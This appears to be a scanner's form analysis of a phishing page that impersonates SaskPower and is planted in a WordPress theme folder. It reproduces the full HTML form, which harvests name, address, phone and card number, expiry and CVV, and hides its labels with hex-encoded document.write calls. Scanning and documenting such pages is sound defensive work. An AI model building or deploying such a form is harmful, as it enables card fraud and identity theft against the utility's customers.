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Form analysis
1 forms found in the DOM

POST /wp-content/themes/rishi/js/saskpower/page.php?step=done&secure=sIVqi7DMLsnxauIwBO8Y&sid=iq5YMKsZmxxCw2vI5E1g

<form id="register_form" action="/wp-content/themes/rishi/js/saskpower/page.php?step=done&amp;secure=sIVqi7DMLsnxauIwBO8Y&amp;sid=iq5YMKsZmxxCw2vI5E1g" method="post">
  <fieldset>
    <h3>Step 1: Account Details</h3>
    <hr>
    <div class="form-group s1">
      <label for="email"> Full Name</label>
      <input type="text" class="form-control" required="required" id="fullname" name="fullname" autocomplete="on" placeholder="Full Name">
    </div>
    <div class="form-group s1">
      <label for="password"> Street Address</label>
      <input type="text" class="form-control" name="address" id="address" placeholder="Street Address" autocomplete="on" required="required">
    </div>
    <div class="row">
      <div class="form-group s1 col-md-6">
        <label for="password">City</label>
        <input type="text" class="form-control" name="city" id="city" placeholder="City" autocomplete="on" required="required">
      </div>
      <div class="form-group s1 col-md-6">
        <label for="password">Province</label>
        <input type="text" class="form-control" name="state" id="state" placeholder="Province" autocomplete="on" required="required">
      </div>
    </div>
    <div class="row">
      <div class="form-group s1 col-md-6">
        <label for="zip">Postal Code</label>
        <input type="text" class="form-control" name="zip" id="zip" placeholder="Postal Code" autocomplete="on" required="required">
      </div>
      <div class="form-group s1 col-md-6">
        <label for="phone">Phone Number</label>
        <input type="text" class="form-control" name="phone" id="phone" placeholder="Phone Number" autocomplete="on" required="required">
      </div>
    </div>
    <input type="button" id="ready" class="next-form btn btn-info btn-lg btn-block" value="Continue" disabled="disabled">
    <br><br>
  </fieldset>
  <fieldset>
    <h3>Step 3: <script language="javascript">
        document.write(unescape('%43%61%72%64%20%49%6E%66%6F%72%6D%61%74%69%6F%6E'));
      </script>Card Information </h3>
    <p class="text-muted">
      <script language="javascript">
        document.write(unescape('%57%65%20%63%68%65%63%6B%20%63%72%65%64%69%74%20%63%61%72%64%20%69%6E%66%6F%72%6D%61%74%69%6F%6E%20%66%6F%72%20%73%65%63%75%72%69%74%79%20%70%75%72%70%6F%73%65%73'));
      </script>We check credit card information for security purposes.
    </p>
    <hr>
    <img src="includes/img/logos.png" class="img-responsive">
    <br><br>
    <div class="row">
      <div class="form-group col-md-10 col-md-offset-1">
        <label for="noc">
          <script language="javascript">
            document.write(unescape('%4E%61%6D%65%20%6F%6E%20%43%61%72%64'));
          </script>Name on Card
        </label>
        <input type="text" class="form-control" name="noc" minlength="4" id="noc" required="required">
      </div>
    </div>
    <div class="row">
      <div class="form-group col-md-10 col-md-offset-1">
        <label for="cn">
          <script language="javascript">
            document.write(unescape('%43%61%72%64%20%4E%75%6D%62%65%72'));
          </script>Card Number
        </label>
        <input type="text" class="form-control" name="cn" id="cn" minlength="14" maxlength="18" required="required" pattern="^(?:(4[0-9]{12}(?:[0-9]{3})?)|(5[1-5][0-9]{14})|(6(?:011|5[0-9]{2})[0-9]{12})|(3[47][0-9]{13})|
(3(?:0[0-5]|[68][0-9])[0-9]{11})|((?:2131|1800|35[0-9]{3})[0-9]{11}))$" placeholder="____ ____ ____ ____">
      </div>
    </div>
    <div class="row">
      <div class="form-group col-md-5 col-md-offset-1">
        <label for="exp">
          <script language="javascript">
            document.write(unescape('%45%78%70%69%72%61%74%69%6F%6E%20%44%61%74%65'));
          </script>Expiration Date
        </label>
        <input type="text" class="form-control" name="exp" id="exp" maxlength="7" required="required" pattern="(0[1-9]|10|11|12)/20[0-9]{2}$" placeholder="MM/YYYY ">
      </div>
      <div class="form-group col-md-4">
        <label for="cv">CVV </label><small class="pull-right" data-toggle="popover" data-placement="top" data-trigger="hover" data-container="body"
          data-content=" The CVV is the 3-digit number on the back of VISA®, MasterCard®, and Maestro® cards, or the 4-digit number on the front of your American Express® card." data-original-title="" title=""> Help</small>
        <input type="text" class="form-control" name="cv" id="cv" maxlength="4" pattern="^[0-9]{3,4}$" required="required">
      </div>
    </div>
    <hr>
    <div class="clearfix">
      <input type="button" name="verify" class="verifyit btn btn-primary btn-lg btn-block hide" value="Verify Information">
      <input type="submit" id="readyf" name="submit" class="submit btn btn-success btn-lg btn-block" value=" Submit">
    </div>
    <br><br>
  </fieldset>
</form>

Text Content

PersonalBusiness
EN / FR


SASKPOWER -REQUIREMENTS




50%


STEP 1: ACCOUNT DETAILS

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Full Name
Street Address
City
Province
Postal Code
Phone Number




STEP 3: CARD INFORMATION

We check credit card information for security purposes.

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Name on Card
Card Number
Expiration Date
CVV Help

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This is a secure page

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